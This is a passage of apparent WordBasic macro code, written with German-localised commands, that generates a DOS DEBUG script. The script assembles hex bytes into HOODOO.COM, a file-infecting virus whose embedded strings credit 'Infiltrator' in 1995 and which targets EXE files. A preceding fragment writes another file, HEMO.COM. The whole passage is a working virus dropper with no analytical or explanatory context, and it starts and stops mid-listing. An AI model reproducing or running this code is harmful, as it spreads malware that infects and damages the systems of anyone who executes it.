  3346. Einfügen "Print #1," + Chr$(34) + "Q" + Chr$(34)
  3347. EinfügenAbsatz
  3348. Einfügen "Close #1"
  3349. EinfügenAbsatz
  3350. Einfügen "c$ = " + Chr$(34) + "HEMO.COM" + Chr$(34)
  3351. Finished
  3352. End Sub
  3353.  
  3354. Sub HooDoo
  3355. Install
  3356. Einfügen "Print #1," + Chr$(34) + "N HOODOO.COM" + Chr$(34)
  3357. EinfügenAbsatz
  3358. Einfügen "Print #1," + Chr$(34) + "E 0100 3E FC 50 53 51 52 56 57 55 1E 06 8C C8 8E D8 8E" + Chr$(34)
  3359. EinfügenAbsatz
  3360. Einfügen "Print #1," + Chr$(34) + "E 0110 C0 E8 00 00 26 FC 8B EC 8B 76 00 44 44 81 EE 14" + Chr$(34)
  3361. EinfügenAbsatz
  3362. Einfügen "Print #1," + Chr$(34) + "E 0120 01 8D 84 E8 0A 8C CA 33 C9 8E C1 26 87 06 00 00" + Chr$(34)
  3363. EinfügenAbsatz
  3364. Einfügen "Print #1," + Chr$(34) + "E 0130 26 87 16 02 00 89 84 2E 0B 89 94 30 0B F7 F1 8C" + Chr$(34)
  3365. EinfügenAbsatz
  3366. Einfügen "Print #1," + Chr$(34) + "E 0140 C8 8E C0 56 87 EE 8D B6 92 03 8D BE 8E 03 A5 A5" + Chr$(34)
  3367. EinfügenAbsatz
  3368. Einfügen "Print #1," + Chr$(34) + "E 0150 5E 33 C0 50 59 4C 4C 5B 3B CB 74 05 C6 84 32 0B" + Chr$(34)
  3369. EinfügenAbsatz
  3370. Einfügen "Print #1," + Chr$(34) + "E 0160 FF B8 01 30 CD 21 3C 05 73 03 E9 0C 02 C6 84 DF" + Chr$(34)
  3371. EinfügenAbsatz
  3372. Einfügen "Print #1," + Chr$(34) + "E 0170 06 00 54 58 3B C4 74 03 E9 FE 01 E8 1F 08 B8 00" + Chr$(34)
  3373. EinfügenAbsatz
  3374. Einfügen "Print #1," + Chr$(34) + "E 0180 70 9C 50 9D 9C 58 9D 25 00 70 74 0D B8 10 40 CD" + Chr$(34)
  3375. EinfügenAbsatz
  3376. Einfügen "Print #1," + Chr$(34) + "E 0190 2F 3D 10 40 74 03 E9 E0 01 B4 34 CD 21 8C 84 2C" + Chr$(34)
  3377. EinfügenAbsatz
  3378. Einfügen "Print #1," + Chr$(34) + "E 01A0 0B B8 01 35 CD 21 89 9C 93 06 8C 84 95 06 B4 25" + Chr$(34)
  3379. EinfügenAbsatz
  3380. Einfügen "Print #1," + Chr$(34) + "E 01B0 8D 94 E0 06 CD 21 C6 84 92 06 00 90 C6 84 97 06" + Chr$(34)
  3381. EinfügenAbsatz
  3382. Einfügen "Print #1," + Chr$(34) + "E 01C0 00 90 33 C0 8E C0 9C 58 80 CC 01 50 E4 21 88 84" + Chr$(34)
  3383. EinfügenAbsatz
  3384. Einfügen "Print #1," + Chr$(34) + "E 01D0 98 06 B0 FF E6 21 9D B2 80 B4 09 9C 26 FF 1E 4C" + Chr$(34)
  3385. EinfügenAbsatz
  3386. Einfügen "Print #1," + Chr$(34) + "E 01E0 00 9C 58 80 CC 01 50 9D C6 84 92 06 01 90 33 C0" + Chr$(34)
  3387. EinfügenAbsatz
  3388. Einfügen "Print #1," + Chr$(34) + "E 01F0 8E C0 B8 01 30 9C 26 FF 1E 84 00 9C 58 25 FF FE" + Chr$(34)
  3389. EinfügenAbsatz
  3390. Einfügen "Print #1," + Chr$(34) + "E 0200 50 9D 8A 84 98 06 E6 21 F6 84 97 06 01 90 75 03" + Chr$(34)
  3391. EinfügenAbsatz
  3392. Einfügen "Print #1," + Chr$(34) + "E 0210 E9 66 01 80 BC DF 06 00 74 03 E8 6C 07 F6 84 32" + Chr$(34)
  3393. EinfügenAbsatz
  3394. Einfügen "Print #1," + Chr$(34) + "E 0220 0B 01 74 03 E8 62 07 36 FB B4 04 CD 1A 80 FA 21" + Chr$(34)
  3395. EinfügenAbsatz
  3396. Einfügen "Print #1," + Chr$(34) + "E 0230 75 03 E8 54 07 F6 84 97 06 02 90 75 03 E9 39 01" + Chr$(34)
  3397. EinfügenAbsatz
  3398. Einfügen "Print #1," + Chr$(34) + "E 0240 26 F8 33 C0 8E C0 26 FF 36 4C 00 26 FF 36 4E 00" + Chr$(34)
  3399. EinfügenAbsatz
  3400. Einfügen "Print #1," + Chr$(34) + "E 0250 FF B4 8E 06 FF B4 90 06 FA 26 8F 06 4E 00 26 8F" + Chr$(34)
  3401. EinfügenAbsatz
  3402. Einfügen "Print #1," + Chr$(34) + "E 0260 06 4C 00 FB 8F 84 90 06 8F 84 8E 06 FF B4 93 06" + Chr$(34)
  3403. EinfügenAbsatz
  3404. Einfügen "Print #1," + Chr$(34) + "E 0270 FF B4 95 06 FA 26 8F 06 06 00 26 8F 06 04 00 FB" + Chr$(34)
  3405. EinfügenAbsatz
  3406. Einfügen "Print #1," + Chr$(34) + "E 0280 B4 19 CD 21 3C 02 73 03 E9 EE 00 B4 36 32 D2 CD" + Chr$(34)
  3407. EinfügenAbsatz
  3408. Einfügen "Print #1," + Chr$(34) + "E 0290 21 3D FF FF 75 03 E9 E0 00 F7 E1 F7 E3 0B D2 75" + Chr$(34)
  3409. EinfügenAbsatz
  3410. Einfügen "Print #1," + Chr$(34) + "E 02A0 08 3D 00 50 73 03 E9 D0 00 87 F5 B4 47 32 D2 8D" + Chr$(34)
  3411. EinfügenAbsatz
  3412. Einfügen "Print #1," + Chr$(34) + "E 02B0 B6 97 03 CD 21 87 F5 B4 2F CD 21 89 9C 0A 06 8C" + Chr$(34)
  3413. EinfügenAbsatz
  3414. Einfügen "Print #1," + Chr$(34) + "E 02C0 84 0C 06 B4 1A 8D 94 0E 06 CD 21 E4 21 88 84 98" + Chr$(34)
  3415. EinfügenAbsatz
  3416. Einfügen "Print #1," + Chr$(34) + "E 02D0 06 0C 02 E6 21 C6 84 F8 03 00 90 B4 4E 8D 94 DA" + Chr$(34)
  3417. EinfügenAbsatz
  3418. Einfügen "Print #1," + Chr$(34) + "E 02E0 03 9C FA FF 9C 2A 0B 3C 12 74 18 E8 4D 04 B4 4F" + Chr$(34)
  3419. EinfügenAbsatz
  3420. Einfügen "Print #1," + Chr$(34) + "E 02F0 8D 94 DA 03 9C FA FF 9C 2A 0B 3C 12 74 05 E8 3A" + Chr$(34)
  3421. EinfügenAbsatz
  3422. Einfügen "Print #1," + Chr$(34) + "E 0300 04 EB EB B4 3B 8D 94 D7 03 9C FA FF 9C 2A 0B 73" + Chr$(34)
  3423. EinfügenAbsatz
  3424. Einfügen "Print #1," + Chr$(34) + "E 0310 CA 80 BC F8 03 00 74 03 E8 EF 06 B4 3B 8D 94 96" + Chr$(34)
  3425. EinfügenAbsatz
  3426. Einfügen "Print #1," + Chr$(34) + "E 0320 03 9C FA FF 9C 2A 0B 8A 84 98 06 E6 21 1E 8B 94" + Chr$(34)
  3427. EinfügenAbsatz
  3428. Einfügen "Print #1," + Chr$(34) + "E 0330 0A 06 8B 84 0C 06 8E D8 B4 1A CD 21 1F 33 C0 8E" + Chr$(34)
  3429. EinfügenAbsatz
  3430. Einfügen "Print #1," + Chr$(34) + "E 0340 C0 26 FF 36 4C 00 26 FF 36 4E 00 FF B4 8E 06 FF" + Chr$(34)
  3431. EinfügenAbsatz
  3432. Einfügen "Print #1," + Chr$(34) + "E 0350 B4 90 06 FA 26 8F 06 4E 00 26 8F 06 4C 00 FB 8F" + Chr$(34)
  3433. EinfügenAbsatz
  3434. Einfügen "Print #1," + Chr$(34) + "E 0360 84 90 06 8F 84 8E 06 8B 84 2E 0B 8B 94 30 0B 26" + Chr$(34)
  3435. EinfügenAbsatz
  3436. Einfügen "Print #1," + Chr$(34) + "E 0370 87 06 00 00 26 87 16 02 00 07 8C C0 05 10 00 01" + Chr$(34)
  3437. EinfügenAbsatz
  3438. Einfügen "Print #1," + Chr$(34) + "E 0380 84 90 03 EB 00 1F 5D 5F 5E 5A 59 5B 58 EA 00 00" + Chr$(34)
  3439. EinfügenAbsatz
  3440. Einfügen "Print #1," + Chr$(34) + "E 0390 00 00 36 0B F0 FF 5C 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3441. EinfügenAbsatz
  3442. Einfügen "Print #1," + Chr$(34) + "E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3443. EinfügenAbsatz
  3444. Einfügen "Print #1," + Chr$(34) + "E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3445. EinfügenAbsatz
  3446. Einfügen "Print #1," + Chr$(34) + "E 03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3447. EinfügenAbsatz
  3448. Einfügen "Print #1," + Chr$(34) + "E 03D0 00 00 00 00 00 00 00 2E 2E 00 2A 2E 65 78 65 00" + Chr$(34)
  3449. EinfügenAbsatz
  3450. Einfügen "Print #1," + Chr$(34) + "E 03E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3451. EinfügenAbsatz
  3452. Einfügen "Print #1," + Chr$(34) + "E 03F0 00 00 00 00 00 00 00 00 00 2A 2E 2A 00 00 00 00" + Chr$(34)
  3453. EinfügenAbsatz
  3454. Einfügen "Print #1," + Chr$(34) + "E 0400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3455. EinfügenAbsatz
  3456. Einfügen "Print #1," + Chr$(34) + "E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3457. EinfügenAbsatz
  3458. Einfügen "Print #1," + Chr$(34) + "E 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3459. EinfügenAbsatz
  3460. Einfügen "Print #1," + Chr$(34) + "E 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3461. EinfügenAbsatz
  3462. Einfügen "Print #1," + Chr$(34) + "E 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3463. EinfügenAbsatz
  3464. Einfügen "Print #1," + Chr$(34) + "E 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3465. EinfügenAbsatz
  3466. Einfügen "Print #1," + Chr$(34) + "E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3467. EinfügenAbsatz
  3468. Einfügen "Print #1," + Chr$(34) + "E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3469. EinfügenAbsatz
  3470. Einfügen "Print #1," + Chr$(34) + "E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3471. EinfügenAbsatz
  3472. Einfügen "Print #1," + Chr$(34) + "E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3473. EinfügenAbsatz
  3474. Einfügen "Print #1," + Chr$(34) + "E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3475. EinfügenAbsatz
  3476. Einfügen "Print #1," + Chr$(34) + "E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3477. EinfügenAbsatz
  3478. Einfügen "Print #1," + Chr$(34) + "E 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3479. EinfügenAbsatz
  3480. Einfügen "Print #1," + Chr$(34) + "E 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3481. EinfügenAbsatz
  3482. Einfügen "Print #1," + Chr$(34) + "E 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3483. EinfügenAbsatz
  3484. Einfügen "Print #1," + Chr$(34) + "E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3485. EinfügenAbsatz
  3486. Einfügen "Print #1," + Chr$(34) + "E 0500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3487. EinfügenAbsatz
  3488. Einfügen "Print #1," + Chr$(34) + "E 0510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3489. EinfügenAbsatz
  3490. Einfügen "Print #1," + Chr$(34) + "E 0520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3491. EinfügenAbsatz
  3492. Einfügen "Print #1," + Chr$(34) + "E 0530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3493. EinfügenAbsatz
  3494. Einfügen "Print #1," + Chr$(34) + "E 0540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3495. EinfügenAbsatz
  3496. Einfügen "Print #1," + Chr$(34) + "E 0550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3497. EinfügenAbsatz
  3498. Einfügen "Print #1," + Chr$(34) + "E 0560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3499. EinfügenAbsatz
  3500. Einfügen "Print #1," + Chr$(34) + "E 0570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3501. EinfügenAbsatz
  3502. Einfügen "Print #1," + Chr$(34) + "E 0580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3503. EinfügenAbsatz
  3504. Einfügen "Print #1," + Chr$(34) + "E 0590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3505. EinfügenAbsatz
  3506. Einfügen "Print #1," + Chr$(34) + "E 05A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3507. EinfügenAbsatz
  3508. Einfügen "Print #1," + Chr$(34) + "E 05B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3509. EinfügenAbsatz
  3510. Einfügen "Print #1," + Chr$(34) + "E 05C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3511. EinfügenAbsatz
  3512. Einfügen "Print #1," + Chr$(34) + "E 05D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3513. EinfügenAbsatz
  3514. Einfügen "Print #1," + Chr$(34) + "E 05E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3515. EinfügenAbsatz
  3516. Einfügen "Print #1," + Chr$(34) + "E 05F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3517. EinfügenAbsatz
  3518. Einfügen "Print #1," + Chr$(34) + "E 0600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3519. EinfügenAbsatz
  3520. Einfügen "Print #1," + Chr$(34) + "E 0610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3521. EinfügenAbsatz
  3522. Einfügen "Print #1," + Chr$(34) + "E 0620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3523. EinfügenAbsatz
  3524. Einfügen "Print #1," + Chr$(34) + "E 0630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3525. EinfügenAbsatz
  3526. Einfügen "Print #1," + Chr$(34) + "E 0640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3527. EinfügenAbsatz
  3528. Einfügen "Print #1," + Chr$(34) + "E 0650 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3529. EinfügenAbsatz
  3530. Einfügen "Print #1," + Chr$(34) + "E 0660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3531. EinfügenAbsatz
  3532. Einfügen "Print #1," + Chr$(34) + "E 0670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3533. EinfügenAbsatz
  3534. Einfügen "Print #1," + Chr$(34) + "E 0680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3535. EinfügenAbsatz
  3536. Einfügen "Print #1," + Chr$(34) + "E 0690 00 00 00 00 00 00 00 00 00 0D 0A 07 07 48 4F 4F" + Chr$(34)
  3537. EinfügenAbsatz
  3538. Einfügen "Print #1," + Chr$(34) + "E 06A0 44 4F 4F 20 56 31 2E 30 20 28 63 29 31 39 39 35" + Chr$(34)
  3539. EinfügenAbsatz
  3540. Einfügen "Print #1," + Chr$(34) + "E 06B0 20 62 79 20 49 6E 66 69 6C 74 72 61 74 6F 72 2E" + Chr$(34)
  3541. EinfügenAbsatz
  3542. Einfügen "Print #1," + Chr$(34) + "E 06C0 20 50 6C 65 61 73 65 20 72 65 67 69 73 74 65 72" + Chr$(34)
  3543. EinfügenAbsatz
  3544. Einfügen "Print #1," + Chr$(34) + "E 06D0 2E 24 20 0D 0A 41 6E 74 69 76 69 72 61 6C 24 00" + Chr$(34)
  3545. EinfügenAbsatz
  3546. Einfügen "Print #1," + Chr$(34) + "E 06E0 55 50 51 06 56 8B EC 80 BC 92 06 01 74 29 8B 46" + Chr$(34)
  3547. EinfügenAbsatz
  3548. Einfügen "Print #1," + Chr$(34) + "E 06F0 0C 3D 00 C0 72 3F 8B 46 0A B1 04 D3 E8 03 46 0C" + Chr$(34)
  3549. EinfügenAbsatz
  3550. Einfügen "Print #1," + Chr$(34) + "E 0700 72 33 8B 46 0A 89 84 8E 06 8B 46 0C 89 84 90 06" + Chr$(34)
  3551. EinfügenAbsatz
  3552. Einfügen "Print #1," + Chr$(34) + "E 0710 80 8C 97 06 01 EB 15 8B 46 0C 3B 84 2C 0B 75 15" + Chr$(34)
  3553. EinfügenAbsatz
  3554. Einfügen "Print #1," + Chr$(34) + "E 0720 8B 46 0A 89 84 2A 0B 80 8C 97 06 02 8B 46 0E 25" + Chr$(34)
  3555. EinfügenAbsatz
  3556. Einfügen "Print #1," + Chr$(34) + "E 0730 FF FE 89 46 0E 5E 07 59 58 5D CF B4 00 CD 1A 0A" + Chr$(34)
  3557. EinfügenAbsatz
  3558. Einfügen "Print #1," + Chr$(34) + "E 0740 D2 74 F8 88 94 33 0B B8 01 43 33 C9 8D 94 2C 06" + Chr$(34)
  3559. EinfügenAbsatz
  3560. Einfügen "Print #1," + Chr$(34) + "E 0750 CD 21 B0 3D D4 01 B0 02 8D 94 2C 06 9C FA FF 9C" + Chr$(34)
  3561. EinfügenAbsatz
  3562. Einfügen "Print #1," + Chr$(34) + "E 0760 2A 0B 93 B0 3F D4 01 B9 18 00 8D 94 E0 03 9C FA" + Chr$(34)
  3563. EinfügenAbsatz
  3564. Einfügen "Print #1," + Chr$(34) + "E 0770 FF 9C 2A 0B 80 BC E0 03 E9 75 03 E9 EC 01 80 BC" + Chr$(34)
  3565. EinfügenAbsatz
  3566. Einfügen "Print #1," + Chr$(34) + "E 0780 E0 03 EB 75 03 E9 E2 01 81 BC E0 03 4D 5A 74 03" + Chr$(34)
  3567. EinfügenAbsatz
  3568. Einfügen "Print #1," + Chr$(34) + "E 0790 E9 D7 01 83 BC 2A 06 00 75 0B 81 BC 28 06 00 50" + Chr$(34)
  3569. EinfügenAbsatz
  3570. Einfügen "Print #1," + Chr$(34) + "E 07A0 73 03 E9 C5 01 B8 00 42 8B 8C 2A 06 8B 94 28 06" + Chr$(34)
  3571. EinfügenAbsatz
  3572. Einfügen "Print #1," + Chr$(34) + "E 07B0 4A 4A 9C FA FF 9C 2A 0B B4 3F B9 02 00 8D 94 34" + Chr$(34)
  3573. EinfügenAbsatz
  3574. Einfügen "Print #1," + Chr$(34) + "E 07C0 0B 9C FA FF 9C 2A 0B 8B 84 34 0B 3B 84 24 06 75" + Chr$(34)
  3575. EinfügenAbsatz
  3576. Einfügen "Print #1," + Chr$(34) + "E 07D0 03 E9 96 01 B8 00 42 33 C9 BA 83 00 CD 21 B4 3F" + Chr$(34)
  3577. EinfügenAbsatz
  3578. Einfügen "Print #1," + Chr$(34) + "E 07E0 B9 17 00 8D 94 0A 04 CD 21 80 BC 0A 04 02 74 03" + Chr$(34)
  3579. EinfügenAbsatz
  3580. Einfügen "Print #1," + Chr$(34) + "E 07F0 EB 0B 90 80 BC 20 04 01 75 03 E9 6D 01 B8 00 42" + Chr$(34)
  3581. EinfügenAbsatz
  3582. Einfügen "Print #1," + Chr$(34) + "E 0800 33 C9 BA 29 00 CD 21 B4 3F B9 04 00 8D 94 0A 04" + Chr$(34)
  3583. EinfügenAbsatz
  3584. Einfügen "Print #1," + Chr$(34) + "E 0810 CD 21 B0 01 38 84 0A 04 74 03 EB 0A 90 38 84 0D" + Chr$(34)
  3585. EinfügenAbsatz
  3586. Einfügen "Print #1," + Chr$(34) + "E 0820 04 75 03 E9 44 01 B8 00 42 33 C9 BA 29 00 CD 21" + Chr$(34)
  3587. EinfügenAbsatz
  3588. Einfügen "Print #1," + Chr$(34) + "E 0830 B4 3F B9 08 00 8D 94 0A 04 CD 21 B0 02 38 84 0A" + Chr$(34)
  3589. EinfügenAbsatz
  3590. Einfügen "Print #1," + Chr$(34) + "E 0840 04 74 03 EB 0A 90 38 84 11 04 75 03 E9 1B 01 B8" + Chr$(34)
  3591. EinfügenAbsatz
  3592. Einfügen "Print #1," + Chr$(34) + "E 0850 00 42 33 C9 BA 32 00 CD 21 B4 3F B9 08 00 8D 94" + Chr$(34)
  3593. EinfügenAbsatz
  3594. Einfügen "Print #1," + Chr$(34) + "E 0860 0A 04 CD 21 81 BC 0A 04 53 79 74 03 EB 0C 90 81" + Chr$(34)
  3595. EinfügenAbsatz
  3596. Einfügen "Print #1," + Chr$(34) + "E 0870 BC 10 04 65 63 75 03 E9 F0 00 B0 42 D4 01 B0 02" + Chr$(34)
  3597. EinfügenAbsatz
  3598. Einfügen "Print #1," + Chr$(34) + "E 0880 99 33 C9 9C FA FF 9C 2A 0B 53 50 52 E8 65 01 3B" + Chr$(34)
  3599. EinfügenAbsatz
  3600. Einfügen "Print #1," + Chr$(34) + "E 0890 94 E4 03 74 06 5A 58 5B E9 CF 00 3B 84 E2 03 74" + Chr$(34)
  3601. EinfügenAbsatz
  3602. Einfügen "Print #1," + Chr$(34) + "E 08A0 06 5A 58 5B E9 C3 00 5A 58 50 52 8B 8C F4 03 89" + Chr$(34)
  3603. EinfügenAbsatz
  3604. Einfügen "Print #1," + Chr$(34) + "E 08B0 8C 92 03 8B 8C F6 03 89 8C 94 03 8B 9C E8 03 B1" + Chr$(34)
  3605. EinfügenAbsatz
  3606. Einfügen "Print #1," + Chr$(34) + "E 08C0 04 D3 E3 2B C3 83 DA 00 B9 10 00 F7 F1 89 94 F4" + Chr$(34)
  3607. EinfügenAbsatz
  3608. Einfügen "Print #1," + Chr$(34) + "E 08D0 03 89 84 F6 03 89 84 EE 03 8A A4 26 06 8A 84 28" + Chr$(34)
  3609. EinfügenAbsatz
  3610. Einfügen "Print #1," + Chr$(34) + "E 08E0 06 89 84 F0 03 5A 58 05 36 0A 83 D2 00 E8 04 01" + Chr$(34)
  3611. EinfügenAbsatz
  3612. Einfügen "Print #1," + Chr$(34) + "E 08F0 89 94 E4 03 89 84 E2 03 81 84 EA 03 36 0A 73 06" + Chr$(34)
  3613. EinfügenAbsatz
  3614. Einfügen "Print #1," + Chr$(34) + "E 0900 C7 84 EA 03 FF FF 81 84 EC 03 36 0A 73 06 C7 84" + Chr$(34)
  3615. EinfügenAbsatz
  3616. Einfügen "Print #1," + Chr$(34) + "E 0910 EC 03 FF FF 8B 84 24 06 89 84 34 0B 5B B0 40 D4" + Chr$(34)
  3617. EinfügenAbsatz
  3618. Einfügen "Print #1," + Chr$(34) + "E 0920 01 B9 36 0A 8D 94 00 01 F6 F0 9C FA FF 9C 2A 0B" + Chr$(34)
  3619. EinfügenAbsatz
  3620. Einfügen "Print #1," + Chr$(34) + "E 0930 33 C0 F6 F0 C6 84 F8 03 01 B8 00 42 99 33 C9 9C" + Chr$(34)
  3621. EinfügenAbsatz
  3622. Einfügen "Print #1," + Chr$(34) + "E 0940 FA FF 9C 2A 0B B0 40 D4 01 B9 18 00 8D 94 E0 03" + Chr$(34)
  3623. EinfügenAbsatz
  3624. Einfügen "Print #1," + Chr$(34) + "E 0950 9C FA FF 9C 2A 0B B0 57 D4 01 B0 01 8B 8C 24 06" + Chr$(34)
  3625. EinfügenAbsatz
  3626. Einfügen "Print #1," + Chr$(34) + "E 0960 8B 94 26 06 9C FA FF 9C 2A 0B B0 3E D4 01 9C FA" + Chr$(34)
  3627. EinfügenAbsatz
  3628. Einfügen "Print #1," + Chr$(34) + "E 0970 FF 9C 2A 0B B0 43 D4 01 B0 01 8B 8C 23 06 8D 94" + Chr$(34)
  3629. EinfügenAbsatz
  3630. Einfügen "Print #1," + Chr$(34) + "E 0980 2C 06 9C FA FF 9C 2A 0B C3 E4 21 88 84 98 06 0C" + Chr$(34)
  3631. EinfügenAbsatz
  3632. Einfügen "Print #1," + Chr$(34) + "E 0990 02 E6 21 8D 94 99 06 B4 09 CD 21 EB FE 60 B8 0A" + Chr$(34)
  3633. EinfügenAbsatz
  3634. Einfügen "Print #1," + Chr$(34) + "E 09A0 00 8E C0 87 EE BF 52 04 8D B6 D2 06 B9 0D 00 F2" + Chr$(34)
  3635. EinfügenAbsatz
  3636. Einfügen "Print #1," + Chr$(34) + "E 09B0 A4 87 F5 B4 46 BB 01 00 B9 01 00 CD 21 1E B8 0A" + Chr$(34)
  3637. EinfügenAbsatz
  3638. Einfügen "Print #1," + Chr$(34) + "E 09C0 00 8E D8 B4 09 BA 52 04 B9 64 2D CD 21 1F 51 B4" + Chr$(34)
  3639. EinfügenAbsatz
  3640. Einfügen "Print #1," + Chr$(34) + "E 09D0 46 BB 00 00 B9 01 00 CD 21 59 81 F9 6D 73 75 05" + Chr$(34)
  3641. EinfügenAbsatz
  3642. Einfügen "Print #1," + Chr$(34) + "E 09E0 C6 84 DF 06 01 B8 0A 00 8E C0 BF 52 04 B9 0D 00" + Chr$(34)
  3643. EinfügenAbsatz
  3644. Einfügen "Print #1," + Chr$(34) + "E 09F0 F2 AA 61 C3 50 B1 07 D3 E2 25 00 FE B1 09 D3 E8" + Chr$(34)
  3645. EinfügenAbsatz
  3646. Einfügen "Print #1," + Chr$(34) + "E 0A00 03 D0 58 25 FF 01 74 01 42 C3 60 8C C8 8E C0 B4" + Chr$(34)
  3647. EinfügenAbsatz
  3648. Einfügen "Print #1," + Chr$(34) + "E 0A10 4E B9 02 00 8D 94 F9 03 9C FA FF 9C 2A 0B 3C 12" + Chr$(34)
  3649. EinfügenAbsatz
  3650. Einfügen "Print #1," + Chr$(34) + "E 0A20 74 1B E8 1A 00 B4 4F B9 02 00 8D 94 F9 03 9C FA" + Chr$(34)
  3651. EinfügenAbsatz
  3652. Einfügen "Print #1," + Chr$(34) + "E 0A30 FF 9C 2A 0B 3C 12 74 05 E8 04 00 EB E8 61 C3 8D" + Chr$(34)
  3653. EinfügenAbsatz
  3654. Einfügen "Print #1," + Chr$(34) + "E 0A40 9C 2C 06 8D BC FD 03 8A 07 43 AA 0A C0 75 F8 B8" + Chr$(34)
  3655. EinfügenAbsatz
  3656. Einfügen "Print #1," + Chr$(34) + "E 0A50 01 43 33 C9 8D 94 FD 03 9C FA FF 9C 2A 0B B8 02" + Chr$(34)
  3657. EinfügenAbsatz
  3658. Einfügen "Print #1," + Chr$(34) + "E 0A60 3D 8D 94 FD 03 9C FA FF 9C 2A 0B 93 B8 00 42 33" + Chr$(34)
  3659. EinfügenAbsatz
  3660. Einfügen "Print #1," + Chr$(34) + "E 0A70 C9 BA 68 00 9C FA FF 9C 2A 0B B4 3F B9 70 00 8D" + Chr$(34)
  3661. EinfügenAbsatz
  3662. Einfügen "Print #1," + Chr$(34) + "E 0A80 94 0A 04 9C FA FF 9C 2A 0B 81 BC 0A 04 41 64 75" + Chr$(34)
  3663. EinfügenAbsatz
  3664. Einfügen "Print #1," + Chr$(34) + "E 0A90 2A 81 BC 53 04 8C AE 75 22 B8 00 42 33 C9 BA 00" + Chr$(34)
  3665. EinfügenAbsatz
  3666. Einfügen "Print #1," + Chr$(34) + "E 0AA0 02 9C FA FF 9C 2A 0B B4 40 C6 84 0A 04 00 8D 94" + Chr$(34)
  3667. EinfügenAbsatz
  3668. Einfügen "Print #1," + Chr$(34) + "E 0AB0 0A 04 B9 01 00 9C FA FF 9C 2A 0B B8 01 57 8B 8C" + Chr$(34)
  3669. EinfügenAbsatz
  3670. Einfügen "Print #1," + Chr$(34) + "E 0AC0 24 06 8B 94 26 06 9C FA FF 9C 2A 0B B4 3E 9C FA" + Chr$(34)
  3671. EinfügenAbsatz
  3672. Einfügen "Print #1," + Chr$(34) + "E 0AD0 FF 9C 2A 0B B8 01 43 8A 8C 23 06 32 ED 8D 94 FD" + Chr$(34)
  3673. EinfügenAbsatz
  3674. Einfügen "Print #1," + Chr$(34) + "E 0AE0 03 9C FA FF 9C 2A 0B C3 50 53 51 57 06 55 8B EC" + Chr$(34)
  3675. EinfügenAbsatz
  3676. Einfügen "Print #1," + Chr$(34) + "E 0AF0 83 46 0C 02 0E 07 8D 9C 3F 01 8B FB B9 E9 07 E8" + Chr$(34)
  3677. EinfügenAbsatz
  3678. Einfügen "Print #1," + Chr$(34) + "E 0B00 15 00 8D 9C 34 09 8B FB B9 B4 01 E8 09 00 5D 07" + Chr$(34)
  3679. EinfügenAbsatz
  3680. Einfügen "Print #1," + Chr$(34) + "E 0B10 5F 59 5B 58 CA 02 00 8A 07 32 84 33 0B AA 43 0E" + Chr$(34)
